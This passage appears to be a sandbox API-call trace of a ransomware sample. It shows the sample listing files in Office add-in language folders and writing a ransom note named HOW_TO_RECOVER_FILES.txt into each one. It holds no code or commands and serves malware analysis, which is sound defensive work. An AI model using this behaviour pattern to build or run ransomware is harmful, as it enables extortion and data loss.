ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0223.909] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.909] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6840bbc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6840bbc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.909] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.910] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.910] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf964b3dd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.910] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.it.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.910] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.910] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0223.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.911] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it", lpFilePart=0x0) returned 0x51 [0223.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6840bbc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6840bbc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152f2ade, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf964b3dd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.912] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.it.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.913] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x14969496, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14a01eaa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f0e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.it.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.913] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0223.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.914] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0223.915] GetFileType (hFile=0x630) returned 0x1 [0223.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.915] GetFileType (hFile=0x630) returned 0x1 [0223.915] WriteFile (in: hFile=0x630, lpBuffer=0x37b68f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x37b68f0*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.916] CloseHandle (hObject=0x630) returned 1 [0223.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja", lpFilePart=0x0) returned 0x51 [0223.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0223.926] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1498f816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ja.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.927] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0223.927] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0223.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja", lpFilePart=0x0) returned 0x51 [0223.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0223.929] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.929] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1498f816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.929] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4bc999b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0223.929] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0223.930] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf311d3eb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf311d3eb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf311d3eb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0223.930] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ja.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0223.930] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.ja.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0223.930] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0223.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0223.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0223.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0223.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0223.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0223.933] GetFileType (hFile=0x630) returned 0x1 [0223.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0223.933] GetFileType (hFile=0x630) returned 0x1 [0223.933] WriteFile (in: hFile=0x630, lpBuffer=0x35266b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35266b8*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0223.934] CloseHandle (hObject=0x630) returned 1 [0223.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0223.935] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk", lpFilePart=0x0) returned 0x51 [0223.935] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x14bf1c4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0223.936] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae6f174, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, 